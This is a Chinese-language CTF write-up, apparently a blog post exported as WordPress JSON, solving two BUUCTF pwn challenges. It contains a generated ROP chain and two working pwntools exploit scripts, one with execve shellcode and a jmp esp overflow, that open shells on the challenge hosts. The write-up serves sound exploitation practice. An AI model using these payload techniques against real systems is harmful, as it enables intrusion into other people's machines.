{"id":367,"date":"2025-08-06T11:43:08","date_gmt":"2025-08-06T03:43:08","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=367"},"modified":"2025-08-06T11:43:10","modified_gmt":"2025-08-06T03:43:10","slug":"buuctfpicoctf_2018_can_you_gets_me%e3%80%81x_ctf_b0verfl0w","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/06\/buuctfpicoctf_2018_can_you_gets_me%e3%80%81x_ctf_b0verfl0w\/","title":{"rendered":"buuctf:picoctf_2018_can_you_gets_me\u3001x_ctf_b0verfl0w"},"content":{"rendered":"\n

\u6628\u5929\u5199\u4e86\u4e24\u9053\u9898\uff0c\u4f46\u662f\u6253\u4e0d\u901a\uff0c\u5c31\u79bb\u8c31\uff0c\u4eca\u5929\u7ee7\u7eed\u5199\u4e00\u70b9<\/p>\n\n\n\n

1\u3001picoctf_2018_can_you_gets_me\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4d\u5f00\u4e86NX\uff0c\u6709\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n

\u770b\u5230\u6709\u5e08\u5085\u60f3\u7528ret2libc\u6253\uff0c\u4f46\u662f\u8fd9\u4e2a\u5e94\u8be5\u662f\u9759\u6001\u7f16\u8bd1\uff0c\u6240\u4ee5\u662f\u884c\u4e0d\u901a\u7684<\/p>\n\n\n\n

\u5176\u5b9e\u627e\u5230\u4e86mprotect\u51fd\u6570\uff0c\u53ef\u4ee5\u6539\u53d8\u67d0\u4e00\u6bb5\u7684\u6743\u9650\u5199shellcode\uff0c\u4f46\u662f\u6ca1\u51e0\u4e2a\u5e08\u5085\u5728\u7528\uff0c\u800c\u4e14\u770b\u4e00\u4e0b\u51fd\u6570\uff0c\u6ca1\u6709\u5408\u9002\u7684\u5199\u5165\u51fd\u6570\uff0c\u4f30\u8ba1\u884c\u4e0d\u901a\uff0c\u6240\u4ee5\u5148\u5c31\u65e0\u8111ropchain\u5427\uff0c\u504f\u79fb\u8fd8\u662f\u8c03\u8bd5\u7b97\u4e86\uff0cida\u4e0d\u4e00\u5b9a\u9760\u8c31<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u7136\u540e\u627e\u4e00\u6761ropchain<\/p>\n\n\n\n

# Padding goes here\np = b''\n\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080b81c6) # pop eax ; ret\np += b'\/bin'\np += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea064) # @ .data + 4\np += pack('<I', 0x080b81c6) # pop eax ; ret\np += b'\/\/sh'\np += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x08049303) # xor eax, eax ; ret\np += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x080481c9) # pop ebx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080de955) # pop ecx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x08049303) # xor eax, eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0806cc25) # int 0x80\n<\/code><\/pre>\n\n\n\n

2\u3001picoctf_2018_can_you_gets_me\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\nfrom struct import pack\nr=remote(\"node5.buuoj.cn\",27629)\n\n# Padding goes here\np = b'a'*28\n\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080b81c6) # pop eax ; ret\np += b'\/bin'\np += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea064) # @ .data + 4\np += pack('<I', 0x080b81c6) # pop eax ; ret\np += b'\/\/sh'\np += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x08049303) # xor eax, eax ; ret\np += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret\np += pack('<I', 0x080481c9) # pop ebx ; ret\np += pack('<I', 0x080ea060) # @ .data\np += pack('<I', 0x080de955) # pop ecx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x0806f02a) # pop edx ; ret\np += pack('<I', 0x080ea068) # @ .data + 8\np += pack('<I', 0x08049303) # xor eax, eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0807a86f) # inc eax ; ret\np += pack('<I', 0x0806cc25) # int 0x80\n\nr.sendline(p)\nr.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3\u3001x_ctf_b0verfl0w\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

32\u4f4d\u611f\u89c9\u6ca1\u5565\u4e1c\u897f\uff0c\u4e00\u4e2a\u8f93\u5165<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u660e\u663e\u7684\u6808\u6ea2\u51fa<\/p>\n\n\n\n
\u7528shellcode\u6765\u505a\u4e00\u4e0b\uff0c\u8fd8\u633a\u7279\u522b\u7684<\/p>\n\n\n\n
\u8fd9\u91ccfgets\u53ef\u4ee5\u5199\u516550\u4e2a\u5b57\u8282\uff0c\u586b\u5145\u662f0x20+4\u7136\u540e\u8fd8\u6709ret\u76844,\u5269\u4e0b10\u5b57\u8282\u90fd\u4e0d\u591f\u5199shellcode\uff0c\u90a3\u53ea\u6709\u8ba9\u7a0b\u5e8f\u8df3\u56de\u53bb\u7136\u540e\u6267\u884cshellcode,\u9700\u8981jmp esp<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
jmp_esp=0x8048504<\/p>\n\n\n\n
4\u3001x_ctf_b0verfl0w\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29537)\n\njmp_esp=0x8048504\nshellcode=b'\\x31\\xc9\\x31\\xd2\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc0\\x6a\\x0b\\x58\\xcd\\x80'\nsub_esp_jmp=asm(\"sub esp,0x28;jmp esp\")\npayload=shellcode+b'a'*(0x20-len(shellcode))+b'aaaa'+p32(jmp_esp)+sub_esp_jmp\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u597d\u4e86\uff0c\u5c31\u5230\u8fd9\u513f\u5427……<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u6628\u5929\u5199\u4e86\u4e24\u9053\u9898\uff0c\u4f46\u662f\u6253\u4e0d\u901a\uff0c\u5c31\u79bb\u8c31\uff0c\u4eca\u5929\u7ee7\u7eed\u5199\u4e00\u70b9 1\u3001picoctf_2018_can_you_gets_m […]<\/p>\n","protected":false},"author":1,"featured_media":377,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-367","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/367","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=367"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/367\/revisions"}],"predecessor-version":[{"id":378,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/367\/revisions\/378"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/377"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=367"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=367"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=367"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}